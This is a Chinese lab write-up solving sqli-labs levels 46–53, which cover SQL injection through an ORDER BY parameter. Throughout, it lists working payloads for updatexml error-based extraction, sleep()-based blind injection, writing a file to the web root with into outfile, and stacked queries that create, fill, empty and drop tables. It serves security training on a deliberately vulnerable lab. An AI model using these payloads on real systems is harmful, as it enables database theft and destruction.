Sqli-labs Less_46-Less_53 order by后的injection

order by后的injection

Less_46

输入?sort=1

image-20240720145908704

输入?sort=2

image-20240720145956748

改变参数 sort 的值,发现返回的列表是根据该表的第 sort 列排序进行回显。

然后尝试一下,发现是数字型注入

查看一下源代码,发现sql语句改变

$sql = "SELECT * FROM users ORDER BY $id";

上面题的sql语句为:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

从上面的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于我们在where后面的注入点,不能使用union等进行注入

?sort=1 and (updatexml(1,concat(0x5c,database(),0x5c),1))#  //爆数据库名
?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))# //爆表名
?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#    //爆列名
?sort=1 and updatexml(1,concat(0x5c,(SELECT concat(id,email_id) from (select id,email_id from emails)text LIMIT 1,1)),1)#    //爆字段

image-20240720144226546

改变limit后面的值,得到其他的数据

image-20240720144534550

还可以用延时函数

常见的一些操作,一般都将这些操作拼在一起使用

regexp '^xiaodi[a-z]'   #匹配xiaodi及xiaodi...等
if(条件,5,0)    #条件成立返回5反之返回0
sleep(5)     #sQI语句延时执行5秒
mid(a,b,c)     #从位置b开始,截取a字符串的c位
substr(a,b,c)    #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8   #判断数据库database ()名的长度
ord=ascii ascii(x)=97   #判断x的asci i码是否等于97

?sort=1 and if(substr(database(),1,1)='s',sleep(5),0)--+可以看到网站有延迟

image-20240720145721151

这个的话,就慢慢尝试吧,我先溜溜哒了

还可以用导入导出文件into outfile参数

输入?sort=1 into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\1.txt"

image-20240720191653490

Less_47

尝试一下,存在单引号的注入

比起上一道题,这一道题还要改一下注释符变成--+,不知道为啥#不可以

贴一个注释符的使用条件

SQL注入注释符(#、-- 、/**/)使用条件

img

?sort=1' and (updatexml(1,concat(0x5c,database(),0x5c),1))--+  //爆数据库名
?sort=1' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))--+ //爆表名
?sort=1' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))--+    //爆列名
?sort=1' and updatexml(1,concat(0x5c,(SELECT concat(id,email_id) from (select id,email_id from emails)text LIMIT 1,1)),1)--+    //爆字段

延时注入和into outfile参数,在上道题都有讲解,这道题就不多赘述

Less_48

判断一下,应该存在数字型的盲注

因为此处的不回显,所以不能使用updatexml()报错注入

可以使用延时函数

?sort=1 and if(ascii(substr(database(),1,1))=114,sleep(5),0)--+

?sort=1 and if(left((SELECT database()), 1)='s',sleep(1),1)--+

挨着判断数据库的名字

?sort=1 and if(left((select database()),8)='security',sleep(5),1)--+

数据库名为:security

判断表名:?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1)

判断列名

?sort =1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3)

判断字段名:

id =1 and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+

Less_49

尝试一下,是个单引号的盲注

应该还是用延时函数,在这就不做举例了

Less_50

从这关开始是order by stacked injection

判断一下,是数值型的注入

查看源码:

$sql="SELECT * FROM users ORDER BY $id";
	/* execute multi query */
	if (mysqli_multi_query($con1, $sql))
	{

		?>

看到用到了mysqli_multi_query可以执行多条mysql的语句

还是用Less_38的方法写

比如说插进一个表啥的,

?sort =1;create table me like users;--+

image-20240720161326372

Less_51

尝试一下是单引号的注入

?sort=1';create table Less_51 like users;--+

?sort=1';insert into Less_51 select*from users;--+

?sort=1';delete from Less_51;--+

?sort=1;drop table Less_51;--+

image-20240720161806127

Less_52

尝试一下是数值型的盲注,考点就是堆叠注入和时间盲注,不过多赘述了

Less_53

尝试一下是单引号的盲注,考点还是堆叠注入和时间盲注

  • 9
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值